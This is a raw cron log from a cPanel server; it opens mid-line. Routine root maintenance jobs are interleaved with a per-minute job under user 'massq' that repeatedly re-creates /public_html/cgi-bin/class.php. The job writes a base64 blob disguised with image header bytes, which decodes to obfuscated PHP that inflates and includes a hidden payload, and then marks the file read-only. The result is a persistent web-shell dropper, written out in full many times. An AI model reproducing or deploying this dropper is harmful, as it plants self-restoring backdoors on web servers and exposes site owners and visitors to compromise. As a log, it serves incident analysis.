Hg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:39:01 server CROND[10963]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 02:40:01 server CROND[11030]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 02:40:01 server CROND[11031]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 02:40:01 server CROND[11032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 02:40:01 server CROND[11033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:41:01 server CROND[11139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:42:01 server CROND[11297]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 02:42:01 server CROND[11298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:43:01 server CROND[11376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:44:01 server CROND[11430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:45:01 server CROND[11494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:45:01 server CROND[11495]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 02:45:01 server CROND[11496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 02:46:01 server CROND[11608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:47:01 server CROND[11765]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Apr 12 02:47:01 server CROND[11766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:48:01 server CROND[12007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:48:13 server crontab[12045]: (root) LIST (root)
Apr 12 02:48:13 server crontab[12047]: (root) LIST (root)
Apr 12 02:48:18 server crontab[12147]: (root) LIST (root)
Apr 12 02:49:01 server CROND[12742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:50:01 server CROND[12812]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 02:50:01 server CROND[12813]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 02:50:01 server CROND[12815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 02:50:01 server CROND[12816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:50:01 server CROND[12817]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 02:51:01 server CROND[12933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:52:01 server CROND[13080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
